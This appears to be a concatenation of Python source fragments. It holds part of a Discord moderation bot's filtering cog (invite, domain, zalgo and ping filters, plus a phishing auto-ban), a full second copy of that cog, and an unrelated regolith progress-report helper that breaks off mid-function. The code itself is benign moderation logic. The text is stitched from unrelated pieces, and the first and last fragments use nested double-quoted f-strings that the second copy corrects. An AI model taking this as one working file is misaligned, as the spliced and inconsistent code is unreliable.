additional_embeds = None
self.bot.stats.incr(f"filters.{name}")
# The function returns True for invalid invites.
# They have no data so additional embeds can't be created for them.
if name == "filter_invites" and match is not True:
additional_embeds = []
for _, data in match.items():
reason = f"Reason: {data["reason"]} | " if data.get('reason') else ""
embed = discord.Embed(description=(
f"**Members:**\n{data["members"]}\n"
f"**Active:**\n{data["active"]}"
))
embed.set_author(name=data["name"])
embed.set_thumbnail(url=data["icon"])
embed.set_footer(text=f"{reason}Guild ID: {data["id"]}")
additional_embeds.append(embed)
elif name == "watch_rich_embeds":
additional_embeds = match
return Stats(message_content, additional_embeds)
@staticmethod
def _check_filter(msg: Message) -> bool:
"""Check whitelists to see if we should filter this message."""
role_whitelisted = False
if type(msg.author) is Member: # Only Member has roles, not User.
for role in msg.author.roles:
if role.id in Filter.role_whitelist:
role_whitelisted = True
return (
msg.channel.id not in Filter.channel_whitelist # Channel not in whitelist
and not role_whitelisted # Role not in whitelist
and not msg.author.bot # Author not a bot
)
async def _has_watch_regex_match(self, text: str) -> Tuple[Union[bool, re.Match], Optional[str]]:
"""
Return True if `text` matches any regex from `word_watchlist` or `token_watchlist` configs.
`word_watchlist`'s patterns are placed between word boundaries while `token_watchlist` is
matched as-is. Spoilers are expanded, if any, and URLs are ignored.
Second return value is a reason written to database about blacklist entry (can be None).
"""
if SPOILER_RE.search(text):
text = self._expand_spoilers(text)
text = self.clean_input(text)
watchlist_patterns = self._get_filterlist_items('filter_token', allowed=False)
for pattern in watchlist_patterns:
match = re.search(pattern, text, flags=re.IGNORECASE)
if match:
return match, self._get_filterlist_value('filter_token', pattern, allowed=False)['comment']
return False, None
async def _has_urls(self, text: str) -> Tuple[bool, Optional[str]]:
"""
Returns True if the text contains one of the blacklisted URLs from the config file.
Second return value is a reason of URL blacklisting (can be None).
"""
text = self.clean_input(text)
domain_blacklist = self._get_filterlist_items("domain_name", allowed=False)
for match in URL_RE.finditer(text):
for url in domain_blacklist:
if url.lower() in match.group(1).lower():
return True, self._get_filterlist_value("domain_name", url, allowed=False)["comment"]
return False, None
@staticmethod
async def _has_zalgo(text: str) -> bool:
"""
Returns True if the text contains zalgo characters.
Zalgo range is \u0300 – \u036F and \u0489.
"""
return bool(ZALGO_RE.search(text))
async def _has_invites(self, text: str) -> Union[dict, bool]:
"""
Checks if there's any invites in the text content that aren't in the guild whitelist.
If any are detected, a dictionary of invite data is returned, with a key per invite.
If none are detected, False is returned.
Attempts to catch some of common ways to try to cheat the system.
"""
text = self.clean_input(text)
# Remove backslashes to prevent escape character aroundfuckery like
# discord\.gg/gdudes-pony-farm
text = text.replace("\\", "")
invites = [m.group("invite") for m in INVITE_RE.finditer(text)]
invite_data = dict()
for invite in invites:
if invite in invite_data:
continue
response = await self.bot.http_session.get(
f"{URLs.discord_invite_api}/{invite}", params={"with_counts": "true"}
)
response = await response.json()
guild = response.get("guild")
if guild is None:
# Lack of a "guild" key in the JSON response indicates either an group DM invite, an
# expired invite, or an invalid invite. The API does not currently differentiate
# between invalid and expired invites
return True
guild_id = guild.get("id")
guild_invite_whitelist = self._get_filterlist_items("guild_invite", allowed=True)
guild_invite_blacklist = self._get_filterlist_items("guild_invite", allowed=False)
# Is this invite allowed?
guild_partnered_or_verified = (
'PARTNERED' in guild.get("features", [])
or 'VERIFIED' in guild.get("features", [])
)
invite_not_allowed = (
guild_id in guild_invite_blacklist # Blacklisted guilds are never permitted.
or guild_id not in guild_invite_whitelist # Whitelisted guilds are always permitted.
and not guild_partnered_or_verified # Otherwise guilds have to be Verified or Partnered.
)
if invite_not_allowed:
reason = None
if guild_id in guild_invite_blacklist:
reason = self._get_filterlist_value("guild_invite", guild_id, allowed=False)["comment"]
guild_icon_hash = guild["icon"]
guild_icon = (
"https://cdn.discordapp.com/icons/"
f"{guild_id}/{guild_icon_hash}.png?size=512"
)
invite_data[invite] = {
"name": guild["name"],
"id": guild['id'],
"icon": guild_icon,
"members": response["approximate_member_count"],
"active": response["approximate_presence_count"],
"reason": reason
}
return invite_data if invite_data else False
@staticmethod
async def _has_rich_embed(msg: Message) -> Union[bool, List[discord.Embed]]:
"""Determines if `msg` contains any rich embeds not auto-generated from a URL."""
if msg.embeds:
for embed in msg.embeds:
if embed.type == "rich":
urls = URL_RE.findall(msg.content)
if not embed.url or embed.url not in urls:
# If `embed.url` does not exist or if `embed.url` is not part of the content
# of the message, it's unlikely to be an auto-generated embed by Discord.
return msg.embeds
else:
log.trace(
"Found a rich embed sent by a regular user account, "
"but it was likely just an automatic URL embed."
)
return False
return False
@staticmethod
async def _has_everyone_ping(text: str) -> bool:
"""Determines if `msg` contains an @everyone or @here ping outside of a codeblock."""
# First pass to avoid running re.sub on every message
if not EVERYONE_PING_RE.search(text):
return False
content_without_codeblocks = CODE_BLOCK_RE.sub("", text)
return bool(EVERYONE_PING_RE.search(content_without_codeblocks))
async def notify_member(self, filtered_member: Member, reason: str, channel: TextChannel) -> None:
"""
Notify filtered_member about a moderation action with the reason str.
First attempts to DM the user, fall back to in-channel notification if user has DMs disabled
"""
try:
await filtered_member.send(reason)
except discord.errors.Forbidden:
await channel.send(f"{filtered_member.mention} {reason}")
def schedule_msg_delete(self, msg: dict) -> None:
"""Delete an offensive message once its deletion date is reached."""
delete_at = dateutil.parser.isoparse(msg['delete_date'])
self.scheduler.schedule_at(delete_at, msg['id'], self.delete_offensive_msg(msg))
async def reschedule_offensive_msg_deletion(self) -> None:
"""Get all the pending message deletion from the API and reschedule them."""
await self.bot.wait_until_ready()
response = await self.bot.api_client.get('bot/offensive-messages',)
now = arrow.utcnow()
for msg in response:
delete_at = dateutil.parser.isoparse(msg['delete_date'])
if delete_at < now:
await self.delete_offensive_msg(msg)
else:
self.schedule_msg_delete(msg)
async def delete_offensive_msg(self, msg: Mapping[str, int]) -> None:
"""Delete an offensive message, and then delete it from the db."""
try:
channel = self.bot.get_channel(msg['channel_id'])
if channel:
msg_obj = await channel.fetch_message(msg['id'])
await msg_obj.delete()
except NotFound:
log.info(
f"Tried to delete message {msg["id"]}, but the message can't be found "
f"(it has been probably already deleted)."
)
except HTTPException as e:
log.warning(f"Failed to delete message {msg["id"]}: status {e.status}")
await self.bot.api_client.delete(f'bot/offensive-messages/{msg['id']}')
log.info(f"Deleted the offensive message with id {msg["id"]}.")
@staticmethod
def clean_input(string: str) -> str:
"""Remove zalgo and invisible characters from `string`."""
# For future consideration: remove characters in the Mc, Sk, and Lm categories too.
# Can be normalised with form C to merge char + combining char into a single char to avoid
# removing legit diacritics, but this would open up a way to bypass filters.
no_zalgo = ZALGO_RE.sub("", string)
return INVISIBLE_RE.sub("", no_zalgo)
def setup(bot: Bot) -> None:
"""Load the Filtering cog."""
bot.add_cog(Filtering(bot))
| import asyncio
import re
from datetime import timedelta
from typing import Any, Dict, List, Mapping, NamedTuple, Optional, Tuple, Union
import arrow
import dateutil.parser
import discord.errors
import regex
from async_rediscache import RedisCache
from dateutil.relativedelta import relativedelta
from discord import Colour, HTTPException, Member, Message, NotFound, TextChannel
from discord.ext.commands import Cog
from discord.utils import escape_markdown
from bot.api import ResponseCodeError
from bot.bot import Bot
from bot.constants import Channels, Colours, Filter, Guild, Icons, URLs
from bot.exts.events.code_jams._channels import CATEGORY_NAME as JAM_CATEGORY_NAME
from bot.exts.moderation.modlog import ModLog
from bot.log import get_logger
from bot.utils import scheduling
from bot.utils.messages import format_user
from bot.utils.regex import INVITE_RE
log = get_logger(__name__)
# Regular expressions
CODE_BLOCK_RE = re.compile(
r"(?P<delim>``?)[^`]+?(?P=delim)(?!`+)" # Inline codeblock
r"|```(.+?)```", # Multiline codeblock
re.DOTALL | re.MULTILINE
)
EVERYONE_PING_RE = re.compile(rf"@everyone|<@&{Guild.id}>|@here")
SPOILER_RE = re.compile(r"(\|\|.+?\|\|)", re.DOTALL)
URL_RE = re.compile(r"(https?://[^\s]+)", flags=re.IGNORECASE)
# Exclude variation selectors from zalgo because they're actually invisible.
VARIATION_SELECTORS = r"\uFE00-\uFE0F\U000E0100-\U000E01EF"
INVISIBLE_RE = regex.compile(rf"[{VARIATION_SELECTORS}\p{{UNASSIGNED}}\p{{FORMAT}}\p{{CONTROL}}--\s]", regex.V1)
ZALGO_RE = regex.compile(rf"[\p{{NONSPACING MARK}}\p{{ENCLOSING MARK}}--[{VARIATION_SELECTORS}]]", regex.V1)
# Other constants.
DAYS_BETWEEN_ALERTS = 3
OFFENSIVE_MSG_DELETE_TIME = timedelta(days=Filter.offensive_msg_delete_days)
# Autoban
LINK_PASSWORD = "https://support.discord.com/hc/en-us/articles/218410947-I-forgot-my-Password-Where-can-I-set-a-new-one"
LINK_2FA = "https://support.discord.com/hc/en-us/articles/219576828-Setting-up-Two-Factor-Authentication"
AUTO_BAN_REASON = (
"Your account has been used to send links to a phishing website. You have been automatically banned. "
"If you are not aware of sending them, that means your account has been compromised.\n\n"
f"Here is a guide from Discord on [how to change your password]({LINK_PASSWORD}).\n\n"
f"We also highly recommend that you [enable 2 factor authentication on your account]({LINK_2FA}), "
"for heightened security.\n\n"
"Once you have changed your password, feel free to follow the instructions at the bottom of "
"this message to appeal your ban."
)
AUTO_BAN_DURATION = timedelta(days=4)
FilterMatch = Union[re.Match, dict, bool, List[discord.Embed]]
class Stats(NamedTuple):
"""Additional stats on a triggered filter to append to a mod log."""
message_content: str
additional_embeds: Optional[List[discord.Embed]]
class Filtering(Cog):
"""Filtering out invites, blacklisting domains, and warning us of certain regular expressions."""
# Redis cache mapping a user ID to the last timestamp a bad nickname alert was sent
name_alerts = RedisCache()
def __init__(self, bot: Bot):
self.bot = bot
self.scheduler = scheduling.Scheduler(self.__class__.__name__)
self.name_lock = asyncio.Lock()
staff_mistake_str = "If you believe this was a mistake, please let staff know!"
self.filters = {
"filter_zalgo": {
"enabled": Filter.filter_zalgo,
"function": self._has_zalgo,
"type": "filter",
"content_only": True,
"user_notification": Filter.notify_user_zalgo,
"notification_msg": (
"Your post has been removed for abusing Unicode character rendering (aka Zalgo text). "
f"{staff_mistake_str}"
),
"schedule_deletion": False
},
"filter_invites": {
"enabled": Filter.filter_invites,
"function": self._has_invites,
"type": "filter",
"content_only": True,
"user_notification": Filter.notify_user_invites,
"notification_msg": (
f"Per Rule 6, your invite link has been removed. {staff_mistake_str}\n\n"
r"Our server rules can be found here: <https://pythondiscord.com/pages/rules>"
),
"schedule_deletion": False
},
"filter_domains": {
"enabled": Filter.filter_domains,
"function": self._has_urls,
"type": "filter",
"content_only": True,
"user_notification": Filter.notify_user_domains,
"notification_msg": (
f"Your URL has been removed because it matched a blacklisted domain. {staff_mistake_str}"
),
"schedule_deletion": False
},
"watch_regex": {
"enabled": Filter.watch_regex,
"function": self._has_watch_regex_match,
"type": "watchlist",
"content_only": True,
"schedule_deletion": True
},
"watch_rich_embeds": {
"enabled": Filter.watch_rich_embeds,
"function": self._has_rich_embed,
"type": "watchlist",
"content_only": False,
"schedule_deletion": False
},
"filter_everyone_ping": {
"enabled": Filter.filter_everyone_ping,
"function": self._has_everyone_ping,
"type": "filter",
"content_only": True,
"user_notification": Filter.notify_user_everyone_ping,
"notification_msg": (
"Please don't try to ping `@everyone` or `@here`. "
f"Your message has been removed. {staff_mistake_str}"
),
"schedule_deletion": False,
"ping_everyone": False
},
}
scheduling.create_task(self.reschedule_offensive_msg_deletion(), event_loop=self.bot.loop)
def cog_unload(self) -> None:
"""Cancel scheduled tasks."""
self.scheduler.cancel_all()
def _get_filterlist_items(self, list_type: str, *, allowed: bool) -> list:
"""Fetch items from the filter_list_cache."""
return self.bot.filter_list_cache[f"{list_type.upper()}.{allowed}"].keys()
def _get_filterlist_value(self, list_type: str, value: Any, *, allowed: bool) -> dict:
"""Fetch one specific value from filter_list_cache."""
return self.bot.filter_list_cache[f"{list_type.upper()}.{allowed}"][value]
@staticmethod
def _expand_spoilers(text: str) -> str:
"""Return a string containing all interpretations of a spoilered message."""
split_text = SPOILER_RE.split(text)
return ''.join(
split_text[0::2] + split_text[1::2] + split_text
)
@property
def mod_log(self) -> ModLog:
"""Get currently loaded ModLog cog instance."""
return self.bot.get_cog("ModLog")
@Cog.listener()
async def on_message(self, msg: Message) -> None:
"""Invoke message filter for new messages."""
await self._filter_message(msg)
# Ignore webhook messages.
if msg.webhook_id is None:
await self.check_bad_words_in_name(msg.author)
@Cog.listener()
async def on_message_edit(self, before: Message, after: Message) -> None:
"""
Invoke message filter for message edits.
Also calculates the time delta from the previous edit or when message was sent if there's no prior edits.
"""
# We only care about changes to the message contents/attachments and embed additions, not pin status etc.
if all((
before.content == after.content, # content hasn't changed
before.attachments == after.attachments, # attachments haven't changed
len(before.embeds) >= len(after.embeds) # embeds haven't been added
)):
return
if not before.edited_at:
delta = relativedelta(after.edited_at, before.created_at).microseconds
else:
delta = relativedelta(after.edited_at, before.edited_at).microseconds
await self._filter_message(after, delta)
def get_name_matches(self, name: str) -> List[re.Match]:
"""Check bad words from passed string (name). Return list of matches."""
name = self.clean_input(name)
matches = []
watchlist_patterns = self._get_filterlist_items('filter_token', allowed=False)
for pattern in watchlist_patterns:
if match := re.search(pattern, name, flags=re.IGNORECASE):
matches.append(match)
return matches
async def check_send_alert(self, member: Member) -> bool:
"""When there is less than 3 days after last alert, return `False`, otherwise `True`."""
if last_alert := await self.name_alerts.get(member.id):
last_alert = arrow.get(last_alert)
if arrow.utcnow() - timedelta(days=DAYS_BETWEEN_ALERTS) < last_alert:
log.trace(f"Last alert was too recent for {member}'s nickname.")
return False
return True
async def check_bad_words_in_name(self, member: Member) -> None:
"""Send a mod alert every 3 days if a username still matches a watchlist pattern."""
# Use lock to avoid race conditions
async with self.name_lock:
# Check whether the users display name contains any words in our blacklist
matches = self.get_name_matches(member.display_name)
if not matches or not await self.check_send_alert(member):
return
log.info(f"Sending bad nickname alert for '{member.display_name}' ({member.id}).")
log_string = (
f"**User:** {format_user(member)}\n"
f"**Display Name:** {escape_markdown(member.display_name)}\n"
f"**Bad Matches:** {', '.join(match.group() for match in matches)}"
)
await self.mod_log.send_log_message(
icon_url=Icons.token_removed,
colour=Colours.soft_red,
title="Username filtering alert",
text=log_string,
channel_id=Channels.mod_alerts,
thumbnail=member.display_avatar.url
)
# Update time when alert sent
await self.name_alerts.set(member.id, arrow.utcnow().timestamp())
async def filter_eval(self, result: str, msg: Message) -> bool:
"""
Filter the result of an !eval to see if it violates any of our rules, and then respond accordingly.
Also requires the original message, to check whether to filter and for mod logs.
Returns whether a filter was triggered or not.
"""
filter_triggered = False
# Should we filter this message?
if self._check_filter(msg):
for filter_name, _filter in self.filters.items():
# Is this specific filter enabled in the config?
# We also do not need to worry about filters that take the full message,
# since all we have is an arbitrary string.
if _filter["enabled"] and _filter["content_only"]:
filter_result = await _filter["function"](result)
reason = None
if isinstance(filter_result, tuple):
match, reason = filter_result
else:
match = filter_result
if match:
# If this is a filter (not a watchlist), we set the variable so we know
# that it has been triggered
if _filter["type"] == "filter":
filter_triggered = True
stats = self._add_stats(filter_name, match, result)
await self._send_log(filter_name, _filter, msg, stats, reason, is_eval=True)
break # We don't want multiple filters to trigger
return filter_triggered
async def _filter_message(self, msg: Message, delta: Optional[int] = None) -> None:
"""Filter the input message to see if it violates any of our rules, and then respond accordingly."""
# Should we filter this message?
if self._check_filter(msg):
for filter_name, _filter in self.filters.items():
# Is this specific filter enabled in the config?
if _filter["enabled"]:
# Double trigger check for the embeds filter
if filter_name == "watch_rich_embeds":
# If the edit delta is less than 0.001 seconds, then we're probably dealing
# with a double filter trigger.
if delta is not None and delta < 100:
continue
if filter_name in ("filter_invites", "filter_everyone_ping"):
# Disable invites filter in codejam team channels
category = getattr(msg.channel, "category", None)
if category and category.name == JAM_CATEGORY_NAME:
continue
# Does the filter only need the message content or the full message?
if _filter["content_only"]:
payload = msg.content
else:
payload = msg
result = await _filter["function"](payload)
reason = None
if isinstance(result, tuple):
match, reason = result
else:
match = result
if match:
is_private = msg.channel.type is discord.ChannelType.private
# If this is a filter (not a watchlist) and not in a DM, delete the message.
if _filter["type"] == "filter" and not is_private:
try:
# Embeds (can?) trigger both the `on_message` and `on_message_edit`
# event handlers, triggering filtering twice for the same message.
#
# If `on_message`-triggered filtering already deleted the message
# then `on_message_edit`-triggered filtering will raise exception
# since the message no longer exists.
#
# In addition, to avoid sending two notifications to the user, the
# logs, and mod_alert, we return if the message no longer exists.
await msg.delete()
except discord.errors.NotFound:
return
# Notify the user if the filter specifies
if _filter["user_notification"]:
await self.notify_member(msg.author, _filter["notification_msg"], msg.channel)
# If the message is classed as offensive, we store it in the site db and
# it will be deleted after one week.
if _filter["schedule_deletion"] and not is_private:
delete_date = (msg.created_at + OFFENSIVE_MSG_DELETE_TIME).isoformat()
data = {
'id': msg.id,
'channel_id': msg.channel.id,
'delete_date': delete_date
}
try:
await self.bot.api_client.post('bot/offensive-messages', json=data)
except ResponseCodeError as e:
if e.status == 400 and "already exists" in e.response_json.get("id", [""])[0]:
log.debug(f"Offensive message {msg.id} already exists.")
else:
log.error(f"Offensive message {msg.id} failed to post: {e}")
else:
self.schedule_msg_delete(data)
log.trace(f"Offensive message {msg.id} will be deleted on {delete_date}")
stats = self._add_stats(filter_name, match, msg.content)
await self._send_log(filter_name, _filter, msg, stats, reason)
# If the filter reason contains `[autoban]`, we want to auto-ban the user
if reason and "[autoban]" in reason.lower():
# Create a new context, with the author as is the bot, and the channel as #mod-alerts.
# This sends the ban confirmation directly under watchlist trigger embed, to inform
# mods that the user was auto-banned for the message.
context = await self.bot.get_context(msg)
context.guild = self.bot.get_guild(Guild.id)
context.author = context.guild.get_member(self.bot.user.id)
context.channel = self.bot.get_channel(Channels.mod_alerts)
context.command = self.bot.get_command("tempban")
await context.invoke(
context.command,
msg.author,
arrow.utcnow() + AUTO_BAN_DURATION,
reason=AUTO_BAN_REASON
)
break # We don't want multiple filters to trigger
async def _send_log(
self,
filter_name: str,
_filter: Dict[str, Any],
msg: discord.Message,
stats: Stats,
reason: Optional[str] = None,
*,
is_eval: bool = False,
) -> None:
"""Send a mod log for a triggered filter."""
if msg.channel.type is discord.ChannelType.private:
channel_str = "via DM"
ping_everyone = False
else:
channel_str = f"in {msg.channel.mention}"
# Allow specific filters to override ping_everyone
ping_everyone = Filter.ping_everyone and _filter.get("ping_everyone", True)
# If we are going to autoban, we don't want to ping
if reason and "[autoban]" in reason:
ping_everyone = False
eval_msg = "using !eval " if is_eval else ""
footer = f"Reason: {reason}" if reason else None
message = (
f"The {filter_name} {_filter['type']} was triggered by {format_user(msg.author)} "
f"{channel_str} {eval_msg}with [the following message]({msg.jump_url}):\n\n"
f"{stats.message_content}"
)
log.debug(message)
# Send pretty mod log embed to mod-alerts
await self.mod_log.send_log_message(
icon_url=Icons.filtering,
colour=Colour(Colours.soft_red),
title=f"{_filter['type'].title()} triggered!",
text=message,
thumbnail=msg.author.display_avatar.url,
channel_id=Channels.mod_alerts,
ping_everyone=ping_everyone,
additional_embeds=stats.additional_embeds,
footer=footer,
)
def _add_stats(self, name: str, match: FilterMatch, content: str) -> Stats:
"""Adds relevant statistical information to the relevant filter and increments the bot's stats."""
# Word and match stats for watch_regex
if name == "watch_regex":
surroundings = match.string[max(match.start() - 10, 0): match.end() + 10]
message_content = (
f"**Match:** '{match[0]}'\n"
f"**Location:** '...{escape_markdown(surroundings)}...'\n"
f"\n**Original Message:**\n{escape_markdown(content)}"
)
else: # Use original content
message_content = content
additional_embeds = None
self.bot.stats.incr(f"filters.{name}")
# The function returns True for invalid invites.
# They have no data so additional embeds can't be created for them.
if name == "filter_invites" and match is not True:
additional_embeds = []
for _, data in match.items():
reason = f"Reason: {data['reason']} | " if data.get('reason') else ""
embed = discord.Embed(description=(
f"**Members:**\n{data['members']}\n"
f"**Active:**\n{data['active']}"
))
embed.set_author(name=data["name"])
embed.set_thumbnail(url=data["icon"])
embed.set_footer(text=f"{reason}Guild ID: {data['id']}")
additional_embeds.append(embed)
elif name == "watch_rich_embeds":
additional_embeds = match
return Stats(message_content, additional_embeds)
@staticmethod
def _check_filter(msg: Message) -> bool:
"""Check whitelists to see if we should filter this message."""
role_whitelisted = False
if type(msg.author) is Member: # Only Member has roles, not User.
for role in msg.author.roles:
if role.id in Filter.role_whitelist:
role_whitelisted = True
return (
msg.channel.id not in Filter.channel_whitelist # Channel not in whitelist
and not role_whitelisted # Role not in whitelist
and not msg.author.bot # Author not a bot
)
async def _has_watch_regex_match(self, text: str) -> Tuple[Union[bool, re.Match], Optional[str]]:
"""
Return True if `text` matches any regex from `word_watchlist` or `token_watchlist` configs.
`word_watchlist`'s patterns are placed between word boundaries while `token_watchlist` is
matched as-is. Spoilers are expanded, if any, and URLs are ignored.
Second return value is a reason written to database about blacklist entry (can be None).
"""
if SPOILER_RE.search(text):
text = self._expand_spoilers(text)
text = self.clean_input(text)
watchlist_patterns = self._get_filterlist_items('filter_token', allowed=False)
for pattern in watchlist_patterns:
match = re.search(pattern, text, flags=re.IGNORECASE)
if match:
return match, self._get_filterlist_value('filter_token', pattern, allowed=False)['comment']
return False, None
async def _has_urls(self, text: str) -> Tuple[bool, Optional[str]]:
"""
Returns True if the text contains one of the blacklisted URLs from the config file.
Second return value is a reason of URL blacklisting (can be None).
"""
text = self.clean_input(text)
domain_blacklist = self._get_filterlist_items("domain_name", allowed=False)
for match in URL_RE.finditer(text):
for url in domain_blacklist:
if url.lower() in match.group(1).lower():
return True, self._get_filterlist_value("domain_name", url, allowed=False)["comment"]
return False, None
@staticmethod
async def _has_zalgo(text: str) -> bool:
"""
Returns True if the text contains zalgo characters.
Zalgo range is \u0300 – \u036F and \u0489.
"""
return bool(ZALGO_RE.search(text))
async def _has_invites(self, text: str) -> Union[dict, bool]:
"""
Checks if there's any invites in the text content that aren't in the guild whitelist.
If any are detected, a dictionary of invite data is returned, with a key per invite.
If none are detected, False is returned.
Attempts to catch some of common ways to try to cheat the system.
"""
text = self.clean_input(text)
# Remove backslashes to prevent escape character aroundfuckery like
# discord\.gg/gdudes-pony-farm
text = text.replace("\\", "")
invites = [m.group("invite") for m in INVITE_RE.finditer(text)]
invite_data = dict()
for invite in invites:
if invite in invite_data:
continue
response = await self.bot.http_session.get(
f"{URLs.discord_invite_api}/{invite}", params={"with_counts": "true"}
)
response = await response.json()
guild = response.get("guild")
if guild is None:
# Lack of a "guild" key in the JSON response indicates either an group DM invite, an
# expired invite, or an invalid invite. The API does not currently differentiate
# between invalid and expired invites
return True
guild_id = guild.get("id")
guild_invite_whitelist = self._get_filterlist_items("guild_invite", allowed=True)
guild_invite_blacklist = self._get_filterlist_items("guild_invite", allowed=False)
# Is this invite allowed?
guild_partnered_or_verified = (
'PARTNERED' in guild.get("features", [])
or 'VERIFIED' in guild.get("features", [])
)
invite_not_allowed = (
guild_id in guild_invite_blacklist # Blacklisted guilds are never permitted.
or guild_id not in guild_invite_whitelist # Whitelisted guilds are always permitted.
and not guild_partnered_or_verified # Otherwise guilds have to be Verified or Partnered.
)
if invite_not_allowed:
reason = None
if guild_id in guild_invite_blacklist:
reason = self._get_filterlist_value("guild_invite", guild_id, allowed=False)["comment"]
guild_icon_hash = guild["icon"]
guild_icon = (
"https://cdn.discordapp.com/icons/"
f"{guild_id}/{guild_icon_hash}.png?size=512"
)
invite_data[invite] = {
"name": guild["name"],
"id": guild['id'],
"icon": guild_icon,
"members": response["approximate_member_count"],
"active": response["approximate_presence_count"],
"reason": reason
}
return invite_data if invite_data else False
@staticmethod
async def _has_rich_embed(msg: Message) -> Union[bool, List[discord.Embed]]:
"""Determines if `msg` contains any rich embeds not auto-generated from a URL."""
if msg.embeds:
for embed in msg.embeds:
if embed.type == "rich":
urls = URL_RE.findall(msg.content)
if not embed.url or embed.url not in urls:
# If `embed.url` does not exist or if `embed.url` is not part of the content
# of the message, it's unlikely to be an auto-generated embed by Discord.
return msg.embeds
else:
log.trace(
"Found a rich embed sent by a regular user account, "
"but it was likely just an automatic URL embed."
)
return False
return False
@staticmethod
async def _has_everyone_ping(text: str) -> bool:
"""Determines if `msg` contains an @everyone or @here ping outside of a codeblock."""
# First pass to avoid running re.sub on every message
if not EVERYONE_PING_RE.search(text):
return False
content_without_codeblocks = CODE_BLOCK_RE.sub("", text)
return bool(EVERYONE_PING_RE.search(content_without_codeblocks))
async def notify_member(self, filtered_member: Member, reason: str, channel: TextChannel) -> None:
"""
Notify filtered_member about a moderation action with the reason str.
First attempts to DM the user, fall back to in-channel notification if user has DMs disabled
"""
try:
await filtered_member.send(reason)
except discord.errors.Forbidden:
await channel.send(f"{filtered_member.mention} {reason}")
def schedule_msg_delete(self, msg: dict) -> None:
"""Delete an offensive message once its deletion date is reached."""
delete_at = dateutil.parser.isoparse(msg['delete_date'])
self.scheduler.schedule_at(delete_at, msg['id'], self.delete_offensive_msg(msg))
async def reschedule_offensive_msg_deletion(self) -> None:
"""Get all the pending message deletion from the API and reschedule them."""
await self.bot.wait_until_ready()
response = await self.bot.api_client.get('bot/offensive-messages',)
now = arrow.utcnow()
for msg in response:
delete_at = dateutil.parser.isoparse(msg['delete_date'])
if delete_at < now:
await self.delete_offensive_msg(msg)
else:
self.schedule_msg_delete(msg)
async def delete_offensive_msg(self, msg: Mapping[str, int]) -> None:
"""Delete an offensive message, and then delete it from the db."""
try:
channel = self.bot.get_channel(msg['channel_id'])
if channel:
msg_obj = await channel.fetch_message(msg['id'])
await msg_obj.delete()
except NotFound:
log.info(
f"Tried to delete message {msg['id']}, but the message can't be found "
f"(it has been probably already deleted)."
)
except HTTPException as e:
log.warning(f"Failed to delete message {msg['id']}: status {e.status}")
await self.bot.api_client.delete(f'bot/offensive-messages/{msg["id"]}')
log.info(f"Deleted the offensive message with id {msg['id']}.")
@staticmethod
def clean_input(string: str) -> str:
"""Remove zalgo and invisible characters from `string`."""
# For future consideration: remove characters in the Mc, Sk, and Lm categories too.
# Can be normalised with form C to merge char + combining char into a single char to avoid
# removing legit diacritics, but this would open up a way to bypass filters.
no_zalgo = ZALGO_RE.sub("", string)
return INVISIBLE_RE.sub("", no_zalgo)
def setup(bot: Bot) -> None:
"""Load the Filtering cog."""
bot.add_cog(Filtering(bot))
|
"""Helper for listing a summary of finished prums and progress on open prums.
Projecta are small bite-sized project quanta that typically will result in
one manuscript.
"""
from gooey import GooeyParser
import datetime
import dateutil.parser as date_parser
from regolith.helpers.basehelper import SoutHelperBase
from regolith.fsclient import _id_key
from regolith.tools import (
all_docs_from_collection,
get_pi_id,
key_value_pair_filter,
)
from regolith.schemas import PROJECTUM_STATI, PROJECTUM_ACTIVE_STATI, PROJECTUM_FINISHED_STATI
TARGET_COLL = "projecta"
HELPER_TARGET = "l_progress"
def subparser(subpi):
listbox_kwargs = {}
if isinstance(subpi, GooeyParser):
listbox_kwargs['widget'] = 'Listbox'
subpi.add_argument("lead",
help="Generate report for this project lead"
)
subpi.add_argument("-v", "--verbose", action="store_true",
help='increase verbosity of output')
subpi.add_argument("-s", "--stati", nargs="+",
choices=PROJECTUM_STATI,
help=f"Filter projecta for these stati."
f" Default is {*(PROJECTUM_ACTIVE_STATI+PROJECTUM_FINISHED_STATI),}",
default=PROJECTUM_ACTIVE_STATI+PROJECTUM_FINISHED_STATI,
**listbox_kwargs
)
# The --filter and --keys flags should be in every lister
subpi.add_argument("-f", "--filter", nargs="+",
help="Search this collection by giving key element pairs"
)
subpi.add_argument("-k", "--keys", nargs="+", help="Specify what keys to return values from when running "
"--filter. If no argument is given the default is just the id.")
subpi.add_argument("--date", help="date used in testing. Defaults to "
"today's date.")
return subpi
class ProgressReportHelper(SoutHelperBase):
"""Helper for listing upcoming (and past) projectum milestones.
Projecta are small bite-sized project quanta that typically will result in
one manuscript.
"""
# btype must be the same as helper target in helper.py
btype = HELPER_TARGET
needed_colls = [f'{TARGET_COLL}']
def construct_global_ctx(self):
"""Constructs the global context"""
super().construct_global_ctx()
gtx = self.gtx
rc = self.rc
if "groups" in self.needed_colls:
rc.pi_id = get_pi_id(rc)
rc.coll = f"{TARGET_COLL}"
colls = [
sorted(
all_docs_from_collection(rc.client, collname), key=_id_key
)
for collname in self.needed_colls
]
for db, coll in zip(self.needed_colls, colls):
gtx[db] = coll
gtx["all_docs_from_collection"] = all_docs_from_collection
gtx["float"] = float
gtx["str"] = str
gtx["zip"] = zip
def print_projectum(self, selected_projecta):
rc = self.rc
if selected_projecta == []:
return
selected_projecta.sort(key=lambda prum: prum.get('begin_date'),
reverse=True)
for p in selected_projecta:
if rc.verbose:
print(f"{p.get("_id")}")
if p.get("deliverable"):
print(
f" status: {p.get("status")}, begin_date: {p.get("begin_date")}, due_date: {p.get("deliverable").get("due_date")}")
if p.get('status') == 'finished':
print(f" finished: {p.get("end_date")}")
print(f" description: {p.get("description")}")
print(f" log_url: {p.get("log_url")}")
print(" team:")
grp_members = None
if p.get('group_members'):
grp_members = ', '.join(p.get('group_members'))
collaborators = None
if p.get('collaborators'):
collaborators = ', '.join(p.get('collaborators'))
print(f" group_members: {grp_members}")
print(f" collaborators: {collaborators}")
d = p.get('deliverable')
print(" deliverable:")
audience = None
if d.get('audience'):
audience = ', '.join(d.get('audience'))
print(f" audience: {audience}")
iter, title = 1, "scope:"
for scopum in d.get('scope', ["no scope"]):
print(f" {title} {str(iter)}. {scopum}")
iter += 1
title = " "
print(f" platform: {d.get("platform")}")
print(" milestones:")
for m in p.get('milestones'):
print(f" {m.get("due_date")}: {m.get("name")}")
print(f" objective: {m.get("objective")}")
print(f" status: {m.get("status")}")
else:
print(f"{p.get("_id")}")
if p.get("deliverable"):
print(
f" status: {p.get("status")}, begin_date: {p.get("begin_date")}, due_date: {p.get("deliverable").get("due_date")}")
print(f" description: {p.get("description")}")
if p.get('status') == 'finished':
print(f" finished: {p.get("end_date")}")
